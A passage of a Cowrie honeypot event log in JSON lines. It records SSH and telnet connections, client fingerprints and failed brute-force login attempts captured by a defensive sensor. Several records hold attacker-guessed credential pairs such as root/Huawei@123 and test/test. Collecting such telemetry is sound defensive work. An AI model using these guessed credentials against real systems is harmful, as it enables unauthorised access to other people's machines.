256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:09.940166Z","src_ip":"45.156.87.147","session":"8a0b7479727d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"karel","password":"karel","message":"login attempt [karel/karel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:10.194704Z","src_ip":"45.156.87.147","session":"8a0b7479727d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:11.332140Z","src_ip":"45.156.87.147","session":"8a0b7479727d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.5.11","src_port":46403,"dst_ip":"10.17.0.5","dst_port":22,"session":"877b25056af9","protocol":"ssh","message":"New connection: 45.79.5.11:46403 (10.17.0.5:22) [session: 877b25056af9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:13.469150Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:13.585794Z","src_ip":"45.79.5.11","session":"877b25056af9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":38724,"dst_ip":"10.17.0.5","dst_port":22,"session":"c92215a6a99b","protocol":"ssh","message":"New connection: 45.156.87.147:38724 (10.17.0.5:22) [session: c92215a6a99b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:16.282686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:16.286451Z","src_ip":"45.156.87.147","session":"c92215a6a99b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:16.369112Z","src_ip":"45.156.87.147","session":"c92215a6a99b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ai","password":"123456","message":"login attempt [ai/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:16.617348Z","src_ip":"45.156.87.147","session":"c92215a6a99b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:17.704070Z","src_ip":"45.156.87.147","session":"c92215a6a99b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":57348,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4f1ead07ba1","protocol":"ssh","message":"New connection: 27.71.230.31:57348 (10.17.0.5:22) [session: f4f1ead07ba1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:19.038814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:19.047104Z","src_ip":"27.71.230.31","session":"f4f1ead07ba1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:20.916947Z","src_ip":"27.71.230.31","session":"f4f1ead07ba1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":42466,"dst_ip":"10.17.0.5","dst_port":22,"session":"b724d72d6781","protocol":"ssh","message":"New connection: 45.156.87.147:42466 (10.17.0.5:22) [session: b724d72d6781]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:22.272568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:22.276343Z","src_ip":"45.156.87.147","session":"b724d72d6781","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:22.362287Z","src_ip":"45.156.87.147","session":"b724d72d6781","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ABC123","message":"login attempt [root/ABC123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:22.522101Z","src_ip":"27.71.230.31","session":"f4f1ead07ba1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"sftpuser","message":"login attempt [sftpuser/sftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:22.612862Z","src_ip":"45.156.87.147","session":"b724d72d6781","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:23.700301Z","src_ip":"45.156.87.147","session":"b724d72d6781","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:23.908866Z","src_ip":"27.71.230.31","session":"f4f1ead07ba1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":42468,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2494ddc8097","protocol":"ssh","message":"New connection: 45.156.87.147:42468 (10.17.0.5:22) [session: e2494ddc8097]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:28.633256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:28.636097Z","src_ip":"45.156.87.147","session":"e2494ddc8097","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:28.723341Z","src_ip":"45.156.87.147","session":"e2494ddc8097","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei@123","message":"login attempt [root/Huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:28.972328Z","src_ip":"45.156.87.147","session":"e2494ddc8097","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:30.058039Z","src_ip":"45.156.87.147","session":"e2494ddc8097","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":44586,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c76f0e65434","protocol":"telnet","message":"New connection: 107.6.151.170:44586 (159.203.135.109:23) [session: 4c76f0e65434]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:31.737396Z"}
{"eventid":"cowrie.session.closed","duration":0.0036377906799316406,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:31.740903Z","src_ip":"107.6.151.170","session":"4c76f0e65434","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":44604,"dst_ip":"10.17.0.5","dst_port":22,"session":"3fc951625c94","protocol":"ssh","message":"New connection: 45.156.87.147:44604 (10.17.0.5:22) [session: 3fc951625c94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:34.854084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:34.860451Z","src_ip":"45.156.87.147","session":"3fc951625c94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:34.948768Z","src_ip":"45.156.87.147","session":"3fc951625c94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"12345678","message":"login attempt [test/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:35.271996Z","src_ip":"45.156.87.147","session":"3fc951625c94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":44792,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2b59f77e86c","protocol":"ssh","message":"New connection: 8.219.200.1:44792 (10.17.0.5:22) [session: b2b59f77e86c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:35.615825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:35.620371Z","src_ip":"8.219.200.1","session":"b2b59f77e86c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:36.197775Z","src_ip":"8.219.200.1","session":"b2b59f77e86c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:36.356705Z","src_ip":"45.156.87.147","session":"3fc951625c94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:38.158574Z","src_ip":"8.219.200.1","session":"b2b59f77e86c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:40.357912Z","src_ip":"8.219.200.1","session":"b2b59f77e86c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":33914,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f7e2bea8d05","protocol":"ssh","message":"New connection: 45.156.87.147:33914 (10.17.0.5:22) [session: 6f7e2bea8d05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:41.130333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:41.135006Z","src_ip":"45.156.87.147","session":"6f7e2bea8d05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:41.220637Z","src_ip":"45.156.87.147","session":"6f7e2bea8d05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"modzmodz","message":"login attempt [root/modzmodz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:41.479573Z","src_ip":"45.156.87.147","session":"6f7e2bea8d05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:42.662808Z","src_ip":"45.156.87.147","session":"6f7e2bea8d05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":33920,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6f2b07cd56e","protocol":"ssh","message":"New connection: 45.156.87.147:33920 (10.17.0.5:22) [session: f6f2b07cd56e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:47.467469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:47.471911Z","src_ip":"45.156.87.147","session":"f6f2b07cd56e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 